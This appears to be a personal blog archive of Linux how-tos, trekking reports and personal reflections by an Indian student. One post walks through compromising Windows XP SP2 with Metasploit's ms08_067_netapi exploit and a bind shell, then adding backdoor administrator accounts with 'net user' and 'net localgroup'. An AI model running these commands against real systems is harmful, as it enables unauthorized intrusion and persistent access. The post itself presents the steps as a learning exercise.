The Quarter-Life Crisis

Read it, if you feel loneliness...may be it will help you to understand you mid 30's problem !!

Link: http://www.cds.caltech.edu/~shane/text/quarterlifecrisis.html

Ubuntu Login problem using GUI interface

I have been coming around with this problem from long time and there is no fixed or predefined solution for this. May be its there but its not in my knowledge. Every time I found different reason of this problem and fixed it. So thought to write some of those issue here and there solution.
Since you are not able to login through GUI but you can still login using terminal. Press & [F1-F6] to get terminal and press to get GUI window.
Now here is different issues:

1. Permission of file "/home/user/.ICEAuthority & /home/user/.Xauthority" might have changed. You check file permission using "ls -la ". If write permission is not given to user then change permission to particular user.
Other thing you can do is "sudo chown user.user /home/ -R"

2. Check if "/tmp" directory permission has changed to root only. If read only then changed it to 777.

3. you can try to run this command "sudo /etc/init.d/gdm restart" on terminal. After that run "sudo gdm" and you will get GUI interface to login. Provide user information and login and if you get success then restart the system. Now you can do normal login. some time it works fine for me!!

some other problems are also there but i m not sure whether they are related to above said problem or not. So I am skipping those issue, may be I'll write later :)

PS: all above solution are hit & trial solution based on what problem I have faced.

upgrading Ubuntu to new release (9.10 to 10.04)

I am fan of Linux basically Fedora and Ubuntu. Ubuntu community has done a very good job for upgrading Ubuntu. If you want to upgrading your Ubuntu 9.10 to 10.04, you can do it in few steps.
Open a terminal and follow the following steps:
1. sudo apt-get update
2. sudo apt-get install update-manager-core
3. check : /etc/update-manager/release-upgrades and see if Prompt=normal is there. If not edit the file and set Prompt=normal
4. sudo do-release-upgrade
PS: you should have good internet connection to upgrade your system using above steps.

For upgrading from ubuntu cd : read here

Confused & Idiotic feeling

What do you feel when you know the problem and not able to solve it ?? I am not talking about research problem but about personal problem. That situation reminds me only one thing -- Life sucks !!
Hope it will get over soon and i'll start again feeling life in better view :)

Writing CD/DVD ISO file using cdrecord on Linux Machine

Many of us are used to use propriety software for burning CD/DVD with Windows machine. For burning software like Nero, etc. people are spending hundred of Dollars($). But same thing you can do on Linux free of cost. You can either use GUI package like K3B or command line cdrecord. I tried both but cdrecord makes me more comfort.
Here is the command by using you can burn CD/DVD.

CD:
# cdrecord -v -dao speed=4 dev=/dev/cd /path/to/Fedora-13-i386-CD.iso

CDRW:
# cdrecord -v -dao speed=4 dev=/dev/cdrw /path/to/Fedora-13-i386-CD.iso

DVD:
# cdrecord -v -dao speed=4 dev=/dev/dvd /path/to/Fedora-13-i386-DVD.iso

DVDRW:
# cdrecord -v -dao speed=4 dev=/dev/dvdrw /path/to/Fedora-13-i386-DVD.iso

Check the different options which is used in above commands:

-v - turns on verbose mode.

-dao - puts us in Disc At Once mode. Since you're burning an ISO image here, you don't want to add any more data later in a future 'session', so you can just instruct cdrecord to put it in one session and finalise the disc.

speed=4 - you keep the burning speed down as it is more likely to burn properly and not fail. You can experiment with higher speeds if you want, but don't go higher than either your media or burner state they can do (and do

dev=/dev/dvd - this is the device node for your DVD drive. It's usually safe to put /dev/dvd here, but if that doesn't work, you may need to use /dev/cdrom or something else.

Finally, specify the path to the ISO image you want to burn.

--
Enjoy !!

Read your email on Gmail in your own language using Google Translator(Lab product)

I found very nice thing to share with you guys. I found very good google lab product "Google Translator" for gmail. Its very interesting to translate your emails into your own favorite language. However i checked this lab service on Google chrome on fedora 10 machine but hoping it will work fine for other also. Here is small conversion of email :

 

<--------

chk त्रुटि: 

रन: 
निर्धारित एक नया 'डोमेन घ' 
BuildNetwork बुलाया 


################ बनाएँ डेटा नोड ################### के लिए फ़ाइल 

पिछले पढ़ें सूचकांक: 0 
# # # # में आवागमन फाइल विवरण ##### 

नोड संख्या दर्ज करें, और लिंक-नंबर: 
# # # # बाहर आवागमन फाइल विवरण ##### 

नोड संख्या दर्ज करें, और लिंक-नंबर: 
नोड संख्या दर्ज करें, और लिंक-नंबर: 
नोड संख्या दर्ज करें, और लिंक-नंबर: 
java.lang.StringIndexOutOfBoundsException: string सीमा से बाहर सूचकांक: -1 
(String.java: 1949 java.lang.String.substring पर) 
BBN.StructureLearn.createHuginInputFile पर (StructureLearn.java: 234) 
-----------------

COM.hugin.HAPI.ExceptionIO: एक घातक त्रुटि एक इनपुट या उत्पादन आपरेशन के दौरान हुई. यह एक के लिए एक निर्दिष्ट फ़ाइल को खोलने विफलता, एक को गलत अनुमति, एक की वजह से आपरेशन लिखने के दौरान एक विफलता के कारण फ़ाइल बनाने के असफल हो सकता है डिस्क चल भरा, आदि 
COM.hugin.HAPI.ExceptionHugin.throwException पर (ExceptionHugin.java: 81) 
COM.hugin.HAPI.Domain.parseCase पर (Domain.java: 1382) 
------------------------------------------------

निर्माण सफल (कुल समय: 0 सेकंड) 

----------------->

There is small error still existing but once the product will get stability, it will be minor. So, if you like please try out :)

Happy new year 2010 :)

Happy new year 2010 :)
I had good vacation at home in December. This was my second visit to home after 10 month since I have visited my home last time.
Hope for good year for me and my career.

"SAVE TADA 1 Nov" mission accomplished !!

This Sunday I went for trek to TADA (Ubbalamadugu Falls) with CTC. The aim for this trek was save TADA from pollution and create awareness between local communities.Some of you may not know where is this TADA.It is situated at the border between Tamil Nadu and Andhra Pradesh lies a small spot of paradise called Tada waterfall. From last year the place is got polluted by drunker and unsocial activities. And also the place becomes unsafe as some women/trekkers started getting harassed by drunker. So, TADA the natural started loosing its beauty. Then CTC come forward to clean and create awareness inside people. Finally on 1 nov CTC reached there with 230 volunteer. As per my knowledge this was the largest trek in terms of number of people joined the trek in CTC history. We reached there 8.30 morning. Had nice breakfast (Idly-Bada with chateny). We packed lunch (Biryani) and prepared our cleaning tools(garbage collector bag, gloves).The organizer were well prepared. They divided whole group into 20 group and each group assigned certain fixed portion to clean and collect garbage. It was great to see people were very enthusiastic to clean the place and that why we completed cleaning by 1 PM. Mean while forest officers also reached there to see our work. Once every group completed his work, we bring down all garbage bag and presented in front of media. Check this video of Peter addressing media.
After media addressing we again went to up hill and enjoyed swimming at least 2-3 hr. Around 5 we started from there and reached Chennai 9 PM. Finally I was in hostel at 11 PM. It was great fun with participation in social cause. Peter is planning second "SAVE TADA" mission. Date is yet to be announced.
PS: If you also want to be part of social cause trek please visit www.chennaitrekkers.org

No sound after installing Windows Version OS on Virtual Box

I installed windows 7 RC version on Vertual Box where host Operating System was ubuntu 9.04 (jaunty). Every thing was working fine except sound. I notice that Windows 7 giving error message "no sound device found". That was the major problem which I found after installing windows 7. I did some googling to find the solution of that problem. Some forum suggested to try Alsa-mixture, where as some other suggeting try OSS. But nothing works.
Finally I set my settings in Alsa-mixture and AC-97 audio controller. But this also did not works. But luckly I got the solution from Virtual Box bug report. For solution I downloaded AC'97 Audio Codecs from http://www.realtek.com.tw . After installing AC'97 codecs, Windows 7 automatically ditected sound. Now Windows 7 have full feature on Virtual Box and I am enjoying testing of Windows 7 on Virtual Box.

PS: Which software you have to download and instal

1. Go to http://www.realtek.com.tw

2. Click on "Downloads", then on "AC'97 Audio Codecs". On the downloads page I downloaded the file with the description "Vista/Win7 (32/64 bits) Driver only (ZIP file)".

3. Extracte the files and run setup.exe from "6303_Vista_Win7_PG537" folder.

Parental Guidance Rating for my Blogs

I checked my blogs for Parental Guidance Rating and this what I got.


This rating was determined based on the presence of the following words:

• xxx (2x)
• hurt (1x)

Interesting :) it did not giving rating based on picture/image what I have in my blog. Particularly King Fisher calendar.
Check yours here if you are also interested to know your blogs rating :)

How much carbon you are producing by google search?

During my research on Next Generation networks(NGNs), I found some interesting thing and then I thought to post on my blog. The interesting thing I found was quantity of carbon production by using Internet. Have you gave any thought while searching anything using Google or others search engine. I hope "no" !! me too. I was just surprised after knowing one Google search producing approx 0.2g CO2. The data may vary from lab to lab. Here is some words taken from a article "A Harvard University physicist says a typical search on a desktop computer generates about 7 grams of carbon dioxide. Thus performing two second searches is comparable to bringing a kettle to boil, according to report Sunday in The Times of London. While that may not sound like a lot, the report notes that Google handles about 200 million searches daily." Lots of research is going around energy consumption by Information and Communication Technology(ICT) and their effects on environment. You be surprise that the CO2 produced by ICT is 2-3% of global CO2 production and it is equivalent to CO2 produced by Airlines[Source Gartner Inc.]. How you feel after knowing that every second spent on web-browsing generates 20 milligrams of CO2[Wissner-Gross estimates]. It estimates that the Internet will produce 20% of the world's green house gas(GHGs) in 10 years[source]. According to anti-virus software firm McAfee, the electricity needed just to transmit the trillions of spam emails sent annually equals the amount required to power over two million homes in the United States while producing the same level of greenhouse gas emissions as more than three million cars. Is this really worth? The main source of CO2 production by ICT is large data centers. The things I have mentioned is just an snapshot of how really big this problem is? You will get more interesting and research problem in this as you go more deep into this.

My second CTC trek to NAGALAPURAM

Hi,
Greetings !!
Finally I went for second trip with CTC for trekking on 2ns August. For going that trek, I was very excited and started preparing 2 days before. On final night before trek means on 1st Aug i went for sleep on 1am in night and woke up at 2am. You may think 1 hr sleep, Yes total hours I slept was 1hr. That night I returned from lab at 8pm had food and went to gurunath for shopping some snacks, chocolates, glucose and battery for LED torch. I returned my room at 9:30 pm,started packing bag, took night bath and again went to my friend Vadiraj room(he was also joining trek with me) at 11:00 pm . I returned to my room at 12:30 pm and checked final packing as suggested for one day trek. At 3AM we started from hostel to main gate of IIT Madras by cycle. Wow, at 3 am morning how awesome the campus looking.

This is just single snap of road we took. We saw black buck, which is generally appears in night. Finally we ware on main gate of IITM at 3:15. Our pickup point time was 3:30 so we ware in hurry. We walked towards Madhya-Kailash after parking our cycle at parking stand near main gate. We took 10 minute to reach Madhya-Kailas. We ware the first one who reached there. After some time some more people from CTC joined us. As our pickup point was 3:30 but the CTC group reached there at 4:20 in morning. This happened because of some confusing of pickup-point option people has filled during registration for trekking. From CTC group santhosh came out from car and took attendance of present people and told their seat in car/bike. I knew santhsosh because he was on Nagala15 trek. I got seat in his car and we started from Madhya-Kailash to Guindy. From guindy they pickup more guys and finally reached a common place(sorry i don't know name of that place) where other groups waiting for us. There sathosh and other organizer collected 700 bucks for trek from all. They loaded food item and water bottle into different cars. Finally we started from there at 5:20 in the morning. We reached Nagalapuram at 8am.

Once we reached there, i just surprised because it was same place where I already came in Nagala15. But other thing was only few people ware there from Nagala15, so I was just feeling new environment. They started distributed food and water bottle at parking place itself, because from there we had to walk towards base of mountains. In food item curd rice, sanvar rice, chapati with anchar and in fruit apple was available. This is first time i saw Poppins chocolate. Other item was glucose, chipps and drinking water bottle. I took one savar rice, one chapati pack with 2 apple, 2 water bottle, 2 Poppins and one chipps packet.
Finally we reached breakfast point near waterfall, where some people started breakfast and some started playing in water. I also jump into water and started enjoying swimming. The water was falling from more than 50 feet.
We were enjoyed around one hr and then started climbing mountain. Me and my friend reached at top in 20 minute and then took 10 minute rest and waiting for few guys who was behind us. Then we started moving down in other direction to reach water-stream. During climb down I got some scratch from thorn, because we had to cross in between deep thorn. Once we reached at water-stream, I just washed my face with natural cold water and drink some water. We took 10 minute rest and started moving ahead. Some photographer started their photographic as they started getting most awesome natural beauty. I didn't bring any cam, so I was keep moving ahead with enjoying walk. I was just feeling, I can't express in word...but I always like to seat on top of mountain and watch whole world as small. Any way after walking 30-40 minute we got another danger point where we had to cross very care. It was danger in the sense, we had to cross a area where keeping our foot was only few inches and nothing was to hold except flat rock. On the other side deep water pond was there. Some first time trekker was very scared. but other people helped them. We crossed all luggage first by human chain and then we helped the people wh was scared. Few who don't wanted to cross using rock, they cross by swimming. Once all crossed, we moved ahead for another waterfall. The coming waterfall was vary good because there was one natural slipping point, from where you can slip into waterfall from top. We reached there in 15 minute walk. Once people reached there, organizer announced this is the final point and we are not going ahead. So enjoy here as much as you can. I just took off my cloths and started slipping from slipping point as I missed this fun in Nagala15 because of swimming. This time I practiced swimming in our campus itself, so no fear was there. I slipped 2-3 times and then jumped from around 15 feet top to same fall. It was amazing experience. I jumped in Nagala15 also.

We ware there till 2-3 hrs. After swimming and fun I took my lunch sanvar rice and chapati with anchar. And took some rest as we had to returned. We started moving back to breakfast point. We reached the same water-stream where we climbdown from hill while coming. This time organizer wanted too use same trick what Peter used in Nagal15 that in place of take one and half hr to climb and climb down to reach breakfast point, all trekkers will climbdown 50 feet flat hill. Once all trekkers saw that location from top to
down, they started scared. But few experienced trekkers started giving encouragement. Finally decided to make people chain on that flat hill and pass the all luggage first.
Once the luggage finished, people started climb down by using help of other people. It took 30-40 minutes to climb all trekkers from top. Once all climb down, people started playing with water. And some took some group photo. We were stayed another 1 hr and finally started to returning. We reached campus 12 PM at IITM main gate and took our cycle and reached room at 12.20AM. I was very tired, so I got sleep as I went to bed. Nice day !! Hope for next trek soon....

How to recover your ubuntu after reinstalling Windows

Yesterday I got mood to give a try windows7 rc which I downloaded 2 days back. But I got problem because i had to reinstall ubuntu which is already there. And i don't wanted to do that. I did some googling and finally I got how to recover ubuntu. Actually after installing windows it remove previous bootloader from MBR(Master Boot Record) and reinstall fresh bootloader in MBR. To reinstall previous bootloader boot from ubuntu linux live cd and open a terminal. Follow the following step :

1> sudo grub
You will get "grub>" command prompt.

2> find /boot/grub/stage1
If you get "Error 15: File not found", try the following:
find /grub/stage1

3> Using this information, set the root device (fill in X,Y with whatever the find command returned):
grub> root (hdX,Y)

4> grub> setup (hd0)

5> Exit Grub:
grub> quit

Enjoy !!
ps: For extra information click here.

Update:
If you are updating/recovering grub with ubuntu 10.04 or later, try following command: (source)

You’ll need to know the device name of your primary ubuntu partition, in this example I’m assuming it’s /dev/sda5
mount /dev/sda5 /mnt
mount --bind /proc /mnt/proc
mount --bind /dev /mnt/dev
mount --bind /sys /mnt/sys
chroot /mnt
update-grub2
grub-install /dev/sda

Enjoy Linux !!

How to hack windows XP sp2 with metasploit framework

After a long time I am writing this post. I was trying some hands on with metasploit framework. For exercise i choosed fedora9 as my attacker machine(bz i liked fedora) and installed framework with postgresql DB support. For attacking machine i choosed machine with windows XP with service pack 2. From this excercise i got very interesting result and even that result surprised me. The result was I got , xp command promt and from that promt first of all I created two user( one is administrator and other normal). For starting i think this is ok. The procedure i follows is as: I started from nmap port scanning.
% nmap -A -T4
This scan gave me all open port on xp. After getting open port i use framework to perform actual attack. Open msfconsole on terminal.
%msfconsole
Now run following command
%msf->use exploit/windows/smb/ms08_067_netapi
%msf->set RHOST 192.168.xxx.xxx
%msf->set RPORT 445
%msf->set PAYLOAD generic/shell_bind_tcp
now run final command to attack
%msf->exploit
now if lucky, you will get following command prompt. Now you can do whatever you want to do.

For adding user from command prompt use following command
%C:\WINDOWS\system32>net user testuser test123 /add
the message from terminal
"net user testuser test123 /add
The command completed successfully."

For adding administrator use following command
%C:\WINDOWS\system32>net localgroup Administrators /add testuser
or C:\WINDOWS\system32>net localgroup “Power Users” /add testuser(quotes required here)
the message
"net localgroup Administrators /add testuser
The command completed successfully."

Now type exit on command prompt to exit
#C:\Documents and Settings\Administrator\Desktop>exit
exit

This is very starting. Still choosing module and attacking with different payload, etc. there are lots of thing to learn. I posted here just because i thought it will help you to learn security.

ps: This post is just for learning perpous. Please do not use in unethical manner. Respect others privacy.

Top free Open Source Projects for end users

Here i am listing out some free open source software which i am using and i feeling very comfortable with these software.
1. Most wanted browser : Firefox
2. Most featured Email client (GUI) : Thunderbird
3. Another Email client (Desktop edition) : Zimbra
(Others edition like EE , web client, etc also available)



4. VLC media player (Best player for Linux and others too)

5. Best Linux flavour which i feel more stable among other flavour :

Debian (The Universal Operating system)

continued......

My first trek with CTC

Hi,
I joined CTC in feb-2009 and went for first trek with them at Nagalapuram, near AP and TN boarder on 8th-march. What was the day...i will always remember the day. Fist time I dive from 10 feet hill and without knowing diving.

read more here

Kingfisher Calander 2009

Taste of different Linux flavor

These days i am busy with testing different Linux operating system(OS). Its about 2 years since i have not used windows (Black Box).Yes i thinking windows nothing more than black box. I used windows during my B.Tech. That time i know nothing about Linux. I introduced with Linux in my final year when i started my Project. After that my interest move towards Linux and down towards windows. Its because no tools coming for developer. where as in Linux every essential software coming by default and rest are available through repository. I am using fedora from last 2 years. Its because packages are coming with fedora CD/DVD itself . These days i tested another flavor like Centos, Ubuntu, Debian, Kubuntu, Solaris 10. And off course Mac Os also which available in IITM cse lab. Still i am using fedora but i tried just for see how much difference is there in between all these flavors. I got all flavor because all these flavor are easily available on IITM ftp site except Solaris . And Ubuntu repository is here. So installing all software in Ubuntu is not taking more than half an hour. So, now i am using Ubuntu server edition 8.10. I got surprised when i saw different kind of software available through Ubuntu repository. Its amazing to see long list of software. Even some software which even not available on fedora repository. I like gnome desktop either on any flavor but new version of fedora(10) and Ubuntu KDE desktop is really good. But i think its little slower than gnome desktop. I given some ranking to Linux according to my choice :
1: Fedora - Mac OS. :: (9/10 point)
2: Ubuntu/kubuntu - Solaris. :: (8/10 point)
3: Centos. :: (7/10 point)
4: Windows (all flavor). :: (4/10 point)

Yum configuration :
Centos :
Step 1) add "failovermethod=priority" without quote in /etc/yum.repos.d/CentOS-Base.repo with every repository link.

Step 2) add
export http_proxy=http://user:password@proxyip:port/
export ftp_proxy=http://user:password@proxyip:port/
export no_proxy=.domain.com
export HTTP_PROXY=http://user:password@proxyip:port/
export FTP_PROXY=http://user:password@proxyip:port/

in file ~/.bash_profile
Step 3) run on command line "source ~/.bash_profile"
Step 4) yum update
Step 5) yum install pkg-name.

Fedora :
Step 1) sudo rpm --import /etc/pki/rpm-gpg/*

Step 2) for third party repository search "livna" and get the rpm of livna-release-*.rpm

Step 3) Export proxy same as Centos.

Step 4) sudo yum update

Step 5) yum install pkg-name

apt-get configuration :
Ubuntu 8.10 :
Step 1) Add these two line in /etc/apt/apt.conf

Acquire::http::Proxy "http://user:password@proxyip:port/";
Acquire::ftp::Proxy "ftp://user:password@proxyip:port/";
Step 2) You can export

export http_proxy=http://user:password@proxyip:port/
export ftp_proxy=http://user:password@proxyip:port/
export no_proxy=.domain.com
export HTTP_PROXY=http://user:password@proxyip:port/
export FTP_PROXY=http://user:password@proxyip:port/

these lines same as Centos or add in file /home/user/.bashrc

Laser Etravaganza show

This is SHAASTRA NIGHT show on 3rd October at OAT in IIT Madras. What a show it was...!!! its still stunning...! It was story telling by Laser beam..Dancing beams, bright colorful image sequences, splashes of light filled in the atmosphere, and shy away the stars in the night sky. Any light will be belittled by the brightness of the stage...Its amazing way of story telling...

This was started at 8.30 pm with story telling about IIT student how students studying, sleeping in class, after finishing study going abroad by flight . How they inventing new thing. After that they played another story then after ends with story of India. Its new experience for me to see all these thing by laser beam. Its was just play of light beam with different angle but effect of that light is superb...I can't write every thing what i felt in that show...but it will be remember for me for entire life..!!

One more milestole of my career..

Today i just find time to write about this...i was thinking to write about CDAC-FPGDST degree. It was great pleasure to study in CDAC-Bangalore and also it was fun to study from researchers. When i joined cadc people saying that you will pass every subject but the real challenge comes with MGPT ...but i never thought i will not clear MGPT...but when it starts i failed to make it in first two attempts...i can't say question was very tough but the i didn't get good approach to solve the problem...the best method to clear MGPT try to apply good approach..any way i missed two MGPT very closely one 'X'....but finally outcomes frustrated me...unfortunately i missed my two last MGPT...on third MGPT date i was in Kanpur attending M.Tech interview and on fourth MGPT i had admission date in IIT Madras...after passing in every subject i was not eligible to get certificate just because of MGPT...so i decided to give MGPT again and i did it. Before going MGPT i thought on MGPT...how to solve both problem in given time...i analyzed that,the problem are not to much tough...they are solvable within given time but the thing is right approach...this time i applied good approach and solved both problem...i just submitted my both problem in 25-30 minute...and made the way clear for getting certificate.......so i will have CDAC FPGDST certificate one year outcomes.....its not just one paper for me which shows about qualification....it more than that...it is one experience of hard work,fun and great enthusiasm to do work hard.... "Learn from life Learn for life..!!"